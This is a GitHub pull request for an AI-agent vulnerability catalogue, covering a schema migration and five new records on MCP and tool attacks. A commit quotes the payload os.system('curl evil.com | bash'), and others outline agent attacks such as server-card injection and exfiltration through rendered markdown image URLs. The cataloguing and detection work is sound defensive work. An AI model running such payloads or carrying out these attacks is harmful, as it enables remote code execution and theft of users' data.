AVE v1.1.0: vendor-neutral schema migration + 5 new critical/high records - #37
Merged
Conversation
…asp_mcp_mapping, rename mapping fields Section 4 of AVE_V1.1.0_MIGRATION_BRIEF.md, run ahead of the schema diff: - strip trailing template "---" residue and empty array entries from records 00016-00040 (4.1) - copy the correct nested aivss.owasp_mcp_mapping value up to top-level owasp_mcp on records 00041-00045, replacing the stale MCP01 placeholder, then delete the now-redundant nested field from all 51 records (4.3) - rename owasp_mapping -> owasp_asi, mitre_atlas_mapping -> mitre_atlas, nist_ai_rmf_mapping -> nist_ai_rmf across all 51 records (4.4) behavioral_vector / example_patterns (4.2) is untouched, own follow-up PR.
Section 4.2 of AVE_V1.1.0_MIGRATION_BRIEF.md, corrected scope: - records 00004-00015 had empty behavioral_vector; drafted short kebab-case tags grounded in each record's attack_class, title, and behavioral_fingerprint - records 00041-00051 had repurposed behavioral_vector to hold full example payloads instead of tags; moved that content verbatim into the new example_patterns field and drafted fresh short tags to replace it Records 00001-00003 and 00016-00040 already held correct short tags and are untouched (the brief's original 16-51 range for this fix was wider than what the live corpus actually needed; verified 16-40 were already in the correct format during step 1).
…ive split Section 3 of AVE_V1.1.0_MIGRATION_BRIEF.md. New schema/ave-record-1.1.0.schema.json (permanent versioned canonical, schema/ave-record-1.0.0.schema.json untouched): - renames owasp_mapping -> owasp_asi, mitre_atlas_mapping -> mitre_atlas, nist_ai_rmf_mapping -> nist_ai_rmf; removes aivss.owasp_mcp_mapping (matches the record-level changes already applied in the hygiene pass) - adds four optional fields: provenance_vector, trifecta_profile, and mitigation (typed [object, null] so Section 5's null-insertion migration validates), and example_patterns (plain string array) - every enum in the new fields is a vendor-neutral verb/noun, never a runnable config fragment, per the standard-vs-tool line in Section 0 - splits `required` into an unconditional 8-field draft/submit core plus a status != draft conditional adding the remaining 7 fields, via JSON Schema if/then/else -- the active-record required set is otherwise unchanged, per instruction not to tighten it schema/ave-record.schema.json (the "always current" alias per ARCHITECTURE.md) now mirrors the 1.1.0 file exactly. Adds scripts/validate_records.py (referenced by CLAUDE.md but missing until now): schema validation plus the Section 8 checks that give a named failure instead of a generic schema error -- no stale field names, no resurrected aivss.owasp_mcp_mapping, behavioral_vector and example_patterns never both empty, and mitigation values restricted to the vendor-neutral enums (the machine-enforced guarantee that no enforcement config leaks into the standard). Verified: all 51 records validate against the new schema unchanged; synthetic minimal-draft, incomplete-active, stale-field-name, and bad-mitigation-value records are accepted/rejected as designed.
Section 5 of AVE_V1.1.0_MIGRATION_BRIEF.md. Adds scripts/migrate_v1_1_0.py and runs it over the full corpus: - schema_version: "1.0.0" -> "1.1.0" on every record - provenance_vector, trifecta_profile, mitigation inserted as null (present but unclassified, distinct from absent/not-applicable) - behavioral_vector and example_patterns untouched (Section 6 enrichment, not this step); renames and the aivss.owasp_mcp_mapping deletion are no-ops here since the hygiene pass already applied them, but the script keeps that logic so it stays safe to run standalone Idempotent (verified: second run updates 0 records) and validates every record against schema/ave-record-1.1.0.schema.json before writing.
…1 records Section 6.2 draft pass of AVE_V1.1.0_MIGRATION_BRIEF.md. Adds scripts/enrich_v1_1_0_draft.py encoding a hand-classified draft for every record, grounded in its attack_class, detection_layer, and behavioral_fingerprint: - provenance_vector.entry_class uses the record's detection_layer value where the class is layer-scoped, or a finer session-scoped token (tool_schema, tool_response, retrieved_document, memory, skill_file, server_card_document, user_input, transport) where more precise - trifecta_profile.requires/amplifies classify which lethal-trifecta conditions apply; AVE-2026-00014 (pure social engineering, no tool-call path) correctly omits trifecta_profile entirely rather than forcing a fit, per the brief's own worked example - mitigation names the vendor-neutral defense class only (strategy / enforcement_point / trifecta_control enums) -- no tool-specific config, per the standard-vs-tool line in Section 0 This is the LLM draft pass the brief calls for; a human should still run the Section 6.2 review pass, prioritized: (1) 00041, 00042, 00045, 00046, 00050, 00051 -- the records the bawbel-gate demo and PiranhaDB mitigation lookups consume first; (2) remaining mcp_server/server_card/ transport records; (3) HIGH/MEDIUM skill records with a clear trifecta shape; (4) the rest. Verified: all 51 records validate against schema/ave-record-1.1.0.schema.json, no null placeholders remain, full test suite and fixture/rule coverage checks still pass.
…t-check Priority-1 human review of the enrichment draft (per the migration checklist) caught a mismatch between the drafted mitigation.strategy and the record's own remediation text: - remediation explicitly recommends "Pin server-card hashes ... detect if the card changes after initial audit", and one IOC is "Server-card content differs between fetches (dynamic injection)" -- both map to pin_integrity, which the draft omitted - deny_by_default had been carried over from the more generic AVE-2026-00002 template without support from this record's own remediation text; dropped Also added private_data to trifecta_profile.amplifies: one of the four example_patterns is a conversation-history exfil, which private_data access would worsen, matching how similar exfil-capable classes (e.g. 00001) were classified elsewhere in the draft pass.
…t-check Same review pattern as the AVE-2026-00041 fix (31ae7ad): - remediation step 1 is an unconditional prohibition ("Never eval() or exec() tool results directly"), which is deny_by_default, not merely validate_input (which implies conditional use after a check) -- the draft only captured the weaker validate/isolate layers - enforcement_point corrected from runtime_proxy to agent_framework: every remediation step (refuse eval/exec, parameterized code generation, sandboxing with restricted syscalls) is a control inside the agent's own code-execution runtime, not a network proxy inspecting tool traffic - added external_comms to trifecta_profile.amplifies: one of the four example_patterns is a full RCE reaching attacker infrastructure (os.system('curl evil.com | bash')), which was missing as an amplifier despite being explicit in the record's own example data
research-new-attack-classes skill, Phases 1-3, scoped to critical/high severity per request. Five NEW CLASS candidates, each verified against NVD directly (not just search-summary text) or a named trusted-vendor source per the skill's source hierarchy: - tool-implementation-command-injection (CVE-2026-0755, CVSS 9.8) - mcp-resource-path-traversal (CVE-2026-11720 CVSS 9.3, + 2 more) - mcp-stdio-launch-config-injection (OX Security + CSA + NSA/CISA) - rendered-content-autofetch-exfiltration (CVE-2025-32711 EchoLeak) - code-execution-sandbox-escape (CVE-2026-5752, CERT/CC-reported) One candidate ("ROME Incident" AI-escapes-sandbox story) researched and dropped for insufficient sourcing (Newsworthy.ai only, no primary source) -- exactly what the skill's Phase 1 says to avoid. One borderline candidate (OAuth consent-phishing) flagged rather than resolved, since it sits closer to AVE's component-behavior scope boundary than a clear call. Phase 3 report only, per the skill's hard rule 6: no issues opened, no records/rules/fixtures created. Awaiting maintainer confirmation before Phase 4.
Same drift as the issue template fix (4d0df90): CONTRIBUTING.md still pointed contributors at schema v1.0.0 and the pre-rename field names (owasp_mapping, mitre_atlas_mapping, nist_ai_rmf_mapping). - schema pointer + validation snippet now reference schema/ave-record-1.1.0.schema.json - owasp_mapping -> owasp_asi, mitre_atlas_mapping -> mitre_atlas, nist_ai_rmf_mapping -> nist_ai_rmf, in both the field-rules list and the "improving existing records" section - "Schema changes" section now states v1.1.0 as current, with an explicit note that ave-record-1.0.0.schema.json remains as the permanent frozen v1.0.0 canonical (matches ARCHITECTURE.md's alias-vs-versioned-canonical model)
Same drift class as the issue template (4d0df90) and CONTRIBUTING.md (d2ade45) fixes, found by a broader repo-wide grep: - README.md: schema badge/links, minimal-record example, "all optional fields" list (also adds the 4 new v1.1.0 fields it was missing: provenance_vector, trifecta_profile, mitigation, example_patterns; removes aivss.owasp_mcp_mapping, deleted in v1.1.0; notes the draft-status 8-field submit-core), validation snippet, framework crosswalk table - ARCHITECTURE.md: file tree now lists ave-record-1.1.0.schema.json alongside the frozen 1.0.0 canonical - CLAUDE.md: project header, schema section heading, required-field notes (added the draft-core callout and the new field group), What/ Why/How example, hard rules 1 and 8 - PRODUCT.md: current-status table, standards-alignment table - LANGUAGE.md: banned-terms table now bans the old names, not the new ones - .github/ISSUE_TEMPLATE/03_schema_change.md, pull_request_template.md: schema references updated; PR template's schema-change checklist now correctly describes updating the alias + adding a new versioned file, instead of hardcoding "1.0.0 updated / 1.1.0 added" as if 1.1.0 were still hypothetical - docs/specs/ave-implementer-guide.md, ave-in-sarif.md: field name in API/SARIF mapping tables Also fixed a real content bug while touching the README crosswalk table, not just a rename: it claimed the OWASP AST10 crosswalk (crosswalks/ave-to-ast10.json, which maps to AST## codes) was driven by the owasp_mapping/owasp_asi field (ASI## codes) -- those are two different OWASP projects per the migration brief's Section 7. Split into two accurate rows. Left untouched, correctly: CHANGELOG.md and docs/agents/research/benchmark-2026-06.md (historical snapshots, not current state); scripts/migrate_v1_1_0*.py and validate_records.py (intentionally reference old names to detect/rename them); scripts/backfill-evidence.js and merge-evidence-declarations.js (one-time scripts that already ran against v1.0.0 at the time); schema/ave-record-1.0.0.schema.json itself (frozen permanent canonical).
Scanner coordination required: yes. Turns the 2026-07-10 benchmark report's 5 confirmed NEW CLASS candidates into an implementation plan. Surfaces three cross-cutting decisions the five issues raised independently but that need one consistent answer: what detection_layer code-implementation vulnerabilities (#32, #33) get without triggering a structural schema change, whether #32 needs its own attack_class category outside Tool Abuse, and how to represent EchoLeak's (#35) two different CVSS assessments in a single-value severity field. Sequences implementation by rule-engine readiness (#32, #33 share a SAST-pattern shape; #36 is single-CVE but needs a sandbox fixture harness; #34 has no single canonical CVE and needs the most rule-design work; #35 ships last since it's the closest classification call of the five per the benchmark report). Flags a possible scanner-side gap: #32/#33 need rules that scan a tool's own source code, not skill/prompt content, which none of AVE's existing rules do today -- may turn "scanner coordination" into more than a rule-authoring PR.
Closes #32. First record of the 5-record critical/high batch (docs/agents/prds/2026-07-10-critical-high-attack-class-batch.md), implementing Decision 1 (detection_layer: content, reused rather than adding a new schema enum value). Primary source: CVE-2026-0755 (gemini-mcp-tool, CWE-78, CVSS 9.8), verified against NVD directly, corroborated by Snyk and the GitLab Advisory Database. AIVSS computed at 7.5 (HIGH), not the issue's pre-implementation CRITICAL estimate: cvss_base 9.8 reflects the underlying CVE, but AARF scores lower than comparable execution-hijack records (e.g. AVE-2026-00046) since this is a single-call injection, not a persistent self-modifying or identity-assuming mechanism -- self_modification and dynamic_identity are both 0. Full rationale in aivss.notes. TDD: fixtures written first: exec()-family call passed a pre-built command string plus shell:true (mirrors the real CVE's pattern more than an artificially inline template literal would), and a patched negative fixture using execFile with array arguments + input validation, mirroring the CVE's actual fix. First rule draft only caught inline template-literal interpolation and failed the positive fixture -- broadened to also match the pre-built-command-string + shell:true shape before it passed. owasp_asi and mitre_atlas omitted: no verified category mapping found in-repo for either (no ASI Top 10 reference file exists yet, and this is a classic CWE-78 outside MITRE ATLAS's ML-technique scope) -- omitted rather than forced, per the standard's own rule.
AVE-2026-00052 done. Corrected an inaccurate note about semgrep coverage being uniquely outstanding for this record -- confirmed it's a repo-wide convention (all 51 prior records declare semgrep in evidence_basis_engines with zero rules/semgrep/*.yaml files in this repo; the real semgrep implementation is the bawbel/scanner coordinated PR for every record, not something specific to #32).
Closes #33. Second record of the 5-record critical/high batch (docs/agents/prds/2026-07-10-critical-high-attack-class-batch.md), same Decision 1 shape as AVE-2026-00052 (detection_layer: content). Primary sources: three independently NVD-confirmed CVEs across three different MCP server implementations -- CVE-2026-11720 (Google MCP Toolbox, CVSS 9.3), CVE-2025-66689 (Zen MCP Server, CVSS 6.5), CVE-2026-15138 (tumf mcp-text-editor). AIVSS computed at 6.3 (MEDIUM), reflecting the general behavioral class rather than any single cited CVE's score -- cvss_base (8.5) is a freshly-authored vector weighted toward confidentiality impact since none of the three cited CVEs demonstrate a write-capable instance, though the general CWE-22 class can include one. Notes explicitly flag that a scanner may reasonably score an individual finding higher when the specific traversal target is known (matching how CVE-2026-11720 itself scored 9.3 for a credentials-reachable instance). TDD: fixtures first, rule passed on first attempt. Stress-tested against four additional safe near-misses (os.path.join, an unrelated startswith check, a single-interpolation URL, and a pathlib resolve+containment pattern) -- none false-positive.
Closes #36. Third record of the 5-record critical/high batch (docs/agents/prds/2026-07-10-critical-high-attack-class-batch.md), first runtime-layer record in the batch (detection_layer: runtime, detection_stage: runtime_observed -- distinct from AVE-2026-00052/53's content-layer SAST shape, since confirming an actual escape needs sandbox observation, not just a pre-execution payload signature). Primary source: CVE-2026-5752 (Cohere Terrarium, JavaScript prototype-chain traversal sandbox escape, CVSS 9.3, CERT/CC-reported, NVD-confirmed). AIVSS computed at 6.7 (MEDIUM) -- the third record in this batch where the real computation lands below the issue's pre-implementation CRITICAL estimate (00052: HIGH 7.5, 00053: MEDIUM 6.3, this one: MEDIUM 6.7). cvss_base (9.3) matches the CVE directly, including AV:L (local attack vector -- the caller must already be able to submit code for execution). AARF matches 00052/00053's shape: single-call flaw, not persistent or identity-assuming, so self_modification and dynamic_identity are both 0. component_type: tool, not mcp_server -- Cohere Terrarium is a native platform code-execution tool, not an MCP server, and the class applies to code-execution capabilities generally regardless of protocol. TDD: fixtures first, rule passed both on first attempt. Stress-tested against four safe near-misses (a normal class constructor method, a single .constructor.name type check, a lone __proto__ access, and an unrelated Function constructor body) -- none false-positive.
Closes #34. Fourth record of the 5-record critical/high batch (docs/agents/prds/2026-07-10-critical-high-attack-class-batch.md). Primary sources: OX Security "Mother of All AI Supply Chains" report (architectural flaw across Anthropic's official MCP SDKs, 150M+ downloads, 200,000+ potentially exposed instances, 9/11 tested registries accepted a malicious PoC with no review), corroborating CSA research notes (PoC RCE on 6 live platforms), CVE-2026-30615 (Windsurf) as one named instance. No single canonical CVE covers the architectural pattern itself -- cvss_base (9.5) is a freshly-authored vector, not anchored to one platform's score. detection_layer: registry_metadata (the vulnerable data is the declared launch command/args in a server's config/registry entry, auditable before the process ever spawns). mitre_atlas: AML.T0104 (Publish Poisoned AI Agent Tool) -- verified not yet used by any other record before adding it here. AIVSS computed at 7.7 (HIGH) -- notably higher than the other three records in this batch (7.5, 6.3, 6.7) because this class genuinely has elevated self_modification (0.7) and persistent_memory (0.5): a successfully-poisoned launch config changes what tools/servers the agent loads in *future* sessions, unlike the single-call flaws in AVE-2026-00052/53/54. TDD: fixtures first, rule passed both on first attempt. Stress-tested against four legitimate launcher patterns (uvx, docker, a local node script, and a URL passed as a plain non-eval argument) -- none false-positive.
…auto-fetch Closes #35. Fifth and final record of the 5-record critical/high batch (docs/agents/prds/2026-07-10-critical-high-attack-class-batch.md). Primary sources: CVE-2025-32711 ("EchoLeak", M365 Copilot) and the peer-reviewed arXiv 2509.10540 paper. Per this PRD's Decision 3: two different CVSS assessors scored this CVE differently (NIST 7.5, Microsoft CNA 9.3) -- cvss_base uses NIST's more conservative, independent number rather than the affected vendor's own CNA rating, with Microsoft's 9.3 recorded as context in aivss.notes, not dropped. component_type: agent, not mcp_server/skill/tool -- the vulnerable surface is the agent/client's own response-rendering behavior, not a malicious component's declared content or implementation. trifecta_profile.requires includes all three legs (untrusted_content, private_data, external_comms) -- the only record in this batch where all three are genuine strict preconditions rather than one/two requires plus amplifiers, matching this class's textbook fit to Willison's original lethal-trifecta framing. AIVSS computed at 5.8 (MEDIUM) -- fourth of five records in this batch to land below its pre-implementation severity estimate; only AVE-2026-00055 (persistent config poisoning) landed above. Detection rule departs from the batch's regex-only convention: no fixed pattern captures "URL query value duplicates surrounding visible text," so matches() extracts markdown image/link URLs, URL-decodes their query values, and checks for verbatim reuse in the surrounding text (min 20 chars) rather than relying only on RULE["patterns"]. TDD: fixtures first, passed both on the first attempt. Stress-tested against four near-misses (a short/generic query param, a short coincidental text overlap, plain text with no markdown links, and a long-but-unique query value not reused elsewhere) -- none false-positive.
All five records implemented: AVE-2026-00052 through AVE-2026-00056. Remaining work is merge-to-main and bawbel/scanner coordination, not AVE-side implementation.
6 tasks
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Two connected bodies of work, both starting from the vendor-neutral schema migration:
1. AVE v1.1.0 migration (schema/renames/enrichment, per
AVE_V1.1.0_MIGRATION_BRIEF.md)aivss.owasp_mcp_mapping, renamedowasp_mapping→owasp_asi,mitre_atlas_mapping→mitre_atlas,nist_ai_rmf_mapping→nist_ai_rmfacross all 51 recordsbehavioral_vectormisuse (11 + 12 records, corrected from the brief's original wider claim) and populated newexample_patternsfieldschema/ave-record-1.1.0.schema.json: the 3 renames,owasp_mcp_mappingremoval, 4 new optional fields (provenance_vector,trifecta_profile,mitigation,example_patterns), draft-vs-active conditional required set.schema/ave-record-1.0.0.schema.jsonstays frozen as the permanent canonical.schema_version: "1.1.0", draftedprovenance_vector/trifecta_profile/mitigationfor every recordscripts/validate_records.py(referenced in CLAUDE.md but didn't exist), plus the migration scripts themselves (scripts/migrate_v1_1_0*.py,scripts/enrich_v1_1_0_draft.py)2. Five new CRITICAL/HIGH records from the 2026-07-10 research benchmark (
docs/agents/research/2026-07-10-benchmark.md,docs/agents/prds/2026-07-10-critical-high-attack-class-batch.md)Every candidate traces to an NVD-confirmed CVE or a named trusted-vendor disclosure (OX Security), verified by direct fetch against nvd.nist.gov rather than search-summary text. One candidate ("ROME Incident" sandbox-escape story) was researched and dropped for insufficient sourcing. Four of five records scored below their pre-implementation severity estimate once AIVSS was actually computed -- the exception (#34/AVE-2026-00055) has a real reason: it persists across sessions, unlike the other four's single-call flaws. Full rationale in each record's
aivss.notes.A cross-cutting schema question (what
detection_layercode-implementation vulnerabilities get, since none of the five existing enum values precisely fit) was resolved as its own PRD decision: reusecontentrather than open a new structural schema change now, revisit if a third such class shows up.Test plan
python scripts/validate_records.py-- all 56 records valid against schema v1.1.0pytest tests/ -x -q-- 112 passedpython scripts/check_fixtures.py-- all 56 rules have positive and negative fixturespython scripts/check_rule_coverage.py-- all 56 records have detection rulesbawbel/scannerPR for the 5 new records (outstanding -- flagged in the PRD, not part of this PR)